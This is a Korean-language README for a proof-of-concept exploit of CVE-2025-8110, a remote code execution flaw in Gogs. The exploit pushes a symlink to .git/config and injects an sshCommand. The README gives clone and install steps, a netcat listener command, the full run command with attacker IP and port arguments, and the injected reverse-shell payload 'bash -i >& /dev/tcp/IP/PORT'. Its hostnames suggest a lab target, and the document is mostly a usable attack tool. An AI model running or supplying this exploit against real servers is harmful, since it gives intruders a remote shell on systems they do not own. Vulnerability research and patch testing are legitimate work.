
CVE-2025-8110에 대한 개념 증명 익스플로잇으로, 심볼릭 링크를 통한 경로 탐색과 sshCommand 주입을 이용하여 리버스 셸을 전달하는 Gogs RCE 취약점입니다.
심볼릭 링크 우회 및 sshCommand 주입을 통해 .git/config 조작으로 원격 코드 실행(RCE)을 가능하게 하는 Gogs의 심각한 취약점 CVE-2025-8110에 대한 개념 증명(PoC)입니다.
이 익스플로잇은 Gogs API 콘텐츠 관리의 경로 탐색(Path Traversal) 취약점을 대상으로 합니다. 인증된 사용자는 다음을 수행할 수 있습니다:
.git/config를 가리키는 심볼릭 링크를 푸시합니다.sshCommand를 주입합니다.!, @)를 처리하기 위해 자격 증명을 자동으로 URL 인코딩합니다.Rich 라이브러리를 사용한 고가시성 로깅.저장소를 클론합니다:
git clone https://github.com/Ghxstsec/CVE-2025-8110.git
cd CVE-2025-8110
종속성을 설치합니다:
pip3 install -r requirements.txt
💻 사용법
리스너를 시작합니다:
nc -lvnp 6666
익스플로잇을 실행합니다:
python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'
인수:
sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
Gogs가 네트워크 전송이 필요한 Git 명령(예: 미러 동기화 또는 내부 참조 검사)을 실행할 때, sshCommand를 호출하여 리버스 셸을 트리거합니다.
| 인수 | 설명 |
|---|
-u, --url | 대상 Gogs 인스턴스의 기본 URL (예: http://target.htb:3000). |
-lh, --host | 리버스 셸이 연결될 공격자 IP (LHOST). |
-lp, --port | 머신에 구성된 리스너 포트 (LPORT). |
-p, --password | 인증을 수행하기 위한 pwnuser 계정의 비밀번호. |
-x, --proxy | (선택 사항) 로컬 프록시를 통해 트래픽을 라우팅합니다 (기본값: http://localhost:8080). |